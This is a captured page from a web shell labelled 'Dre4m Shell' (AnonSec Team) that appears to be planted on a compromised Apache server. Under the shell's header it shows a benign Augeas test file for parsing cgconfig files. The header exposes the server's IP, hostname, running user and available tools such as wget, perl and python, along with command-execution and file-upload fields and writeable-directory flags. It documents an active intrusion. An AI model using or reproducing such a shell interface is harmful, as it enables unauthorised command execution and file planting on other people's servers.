Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 13.58.61.176
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/root/proc/self/root/proc/2/cwd/usr/share/augeas/lenses/dist/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/root/proc/self/root/proc/2/cwd/usr/share/augeas/lenses/dist/tests/test_cgconfig.aug
module Test_cgconfig =

let conf="#cgconfig test cofiguration file
mount { 123 = 456; 456 = 789;}
"

test Cgconfig.lns get conf =
  { "#comment" = "cgconfig test cofiguration file" }
  { "mount"
      { "123" = "456" }
      { "456" = "789" } }
  {}

(* white spaces before mount sign *)
let conf2="
 mount { 123 = 456;}
    mount { 123 = 456;}

mount { 123 = 456;}mount { 123 = 456;}
"

test Cgconfig.lns get conf2 =
  { }
  { "mount" { "123" = "456"} }
  { }
  { "mount" { "123" = "456"} }
  { }
  { }
  { "mount" { "123" = "456"} }
  { "mount" { "123"  = "456" } }
  { }

let conf3="#cgconfig test cofiguration file
mount { 123 = 456;
#eswkh
 456 = 789;}
"
test Cgconfig.lns get conf3 =
  { "#comment" = "cgconfig test cofiguration file" }
  { "mount"
    { "123" = "456" }
    {}
    { "#comment" = "eswkh" }
    { "456" = "789" } }
  {}

let conf4="#cgconfig test cofiguration file
mount {
123 = 456;1245=456;
}
mount { 323=324;}mount{324=5343;  }# this is a comment
"

test Cgconfig.lns get conf4 =
  {"#comment" = "cgconfig test cofiguration file" }
  {"mount"
     {  }
     { "123" = "456"}
     { "1245" = "456" }
     {  }}
  { }
  { "mount" { "323" = "324" } }
  { "mount" { "324" = "5343" } }
  { "#comment" = "this is a comment" }

let group1="
group user {
	cpuacct {
      lll = jjj;
	}
	cpu {
	}
}"

test Cgconfig.lns get group1 =
  {  }
  { "group" = "user"
    {  }
    { "controller" = "cpuacct"
      {  }
      { "lll" = "jjj" }
      {  } }
    {  }
    { "controller" = "cpu" {  } }
    {  } }

let group2="
group aa-1{
     perm {
		 task { }
		 admin { }
      }
}"

test Cgconfig.lns get group2 =
  {  }
  { "group" = "aa-1"
    {  }
    { "perm"
      {  }
      { "task" }
      {  }
      { "admin" }
      {  } }
    {  } }


let group3 ="
group xx/www {
 perm {
	task {
		gid = root;
		uid = root;
	}
	admin {
		gid = aaa;
# no aaa
		uid = aaa;
	}
}
}
"

test Cgconfig.lns get group3 =
  {  }
  { "group" = "xx/www"
    {  }
    { "perm"
      {  }
      { "task"
        {  }
        { "gid" = "root" }
        {  }
        { "uid" = "root" }
        {  } }
      {  }
      { "admin"
        {  }
        { "gid" = "aaa" }
        {  }
        { "#comment" = "no aaa" }
        { "uid" = "aaa" }
        {  } }
      {  } }
    {  } }
  {  }

let group4 ="
#group daemons {
#           cpuacct{
#           }
#}

group daemons/ftp {
                     cpuacct{
                                          }
}

   group daemons/www {
        perm {
                task {
                        uid = root;
                        gid = root;
                }
                admin {
                        uid = root;
                        gid = root;
                }
        }
#       cpu {
#               cpu.shares = 1000;
#       }
}
#
#

  mount {
       devices = /mnt/cgroups/devices;cpuacct = /mnt/cgroups/cpuset;
        cpuset = /mnt/cgroups/cpuset;


        cpu = /mnt/cpu;
#        cpuset = /mnt/cgroups/cpuset2;
}
mount   {
devices = /mnt/cgroups/devices;
#       cpuacct = /mnt/cgroups/cpuacct;
        ns = /mnt/cgroups/ns;
#
}

"

test Cgconfig.lns get group4 =
  {  }
  { "#comment" = "group daemons {" }
  { "#comment" = "cpuacct{" }
  { "#comment" = "}" }
  { "#comment" = "}" }
  {  }
  { "group" = "daemons/ftp"
    {  }
    { "controller" = "cpuacct" {  } }
    {  } }
  {  }
  {  }
  { "group" = "daemons/www"
    {  }
    { "perm"
      {  }
      { "task"
        {  }
        { "uid" = "root" }
        {  }
        { "gid" = "root" }
        {  } }
      {  }
      { "admin"
        {  }
        { "uid" = "root" }
        {  }
        { "gid" = "root" }
        {  } }
      {  } }
    {  }
    { "#comment" = "cpu {" }
    { "#comment" = "cpu.shares = 1000;" }
    { "#comment" = "}" } }
  {  }
  {  }
  {  }
  {  }
  { "mount"
    {  }
    { "devices" = "/mnt/cgroups/devices" }
    { "cpuacct" = "/mnt/cgroups/cpuset" }
    {  }
    { "cpuset" = "/mnt/cgroups/cpuset" }
    {  }
    {  }
    {  }
    { "cpu" = "/mnt/cpu" }
    {  }
    { "#comment" = "cpuset = /mnt/cgroups/cpuset2;" } }
  {  }
  { "mount"
    {  }
    { "devices" = "/mnt/cgroups/devices" }
    {  }
    { "#comment" = "cpuacct = /mnt/cgroups/cpuacct;" }
    { "ns" = "/mnt/cgroups/ns" }
    {  }
    {  } }
  {  }
  {  }

test Cgconfig.lns put "group tst {memory {}}" after
  set "/group" "tst2"
= "group tst2 {memory {}}"

let group5="
group user {
	cpuacct {}
        cpu {}
        cpuset {}
        devices {}
        freezer {}
        memory {}
        net_cls {}
        blkio {}
        hugetlb {}
        perf_event {}
}"

test Cgconfig.lns get group5 =
  {  }
  { "group" = "user"
    {  }
    { "controller" = "cpuacct" }
    {  }
    { "controller" = "cpu" }
    {  }
    { "controller" = "cpuset" }
    {  }
    { "controller" = "devices" }
    {  }
    { "controller" = "freezer" }
    {  }
    { "controller" = "memory" }
    {  }
    { "controller" = "net_cls" }
    {  }
    { "controller" = "blkio" }
    {  }
    { "controller" = "hugetlb" }
    {  }
    { "controller" = "perf_event" }
    {  }
  }

(* quoted controller parameter whitespace *)
let group6="
group blklimit {
     blkio {
               blkio.throttle.read_iops_device=\"8:0 50\";
     }
}"

test Cgconfig.lns get group6 =
  {  }
  { "group" = "blklimit"
    {  }
    { "controller" = "blkio"
      {  }
      { "blkio.throttle.read_iops_device" = "\"8:0 50\"" }
      {  }
    }
    {  }
  }

let group7 ="
group daemons/www {
  perm {
    task {
      uid = root;
      gid = root;
      fperm = 770;
    }
    admin {
      uid = root;
      gid = root;
      dperm = 777;
    }
  }
}
"

test Cgconfig.lns get group7 =
  {  }
  { "group" = "daemons/www"
    {  }
    { "perm"
      {  }
      { "task"
        {  }
        { "uid" = "root" }
        {  }
        { "gid" = "root" }
        {  }
        { "fperm" = "770" }
        {  } }
      {  }
      { "admin"
        {  }
        { "uid" = "root" }
        {  }
        { "gid" = "root" }
        {  }
        { "dperm" = "777" }
        {  } }
      {  } }
    {  }
  }
  {  }


Anon7 - 2022
AnonSec Team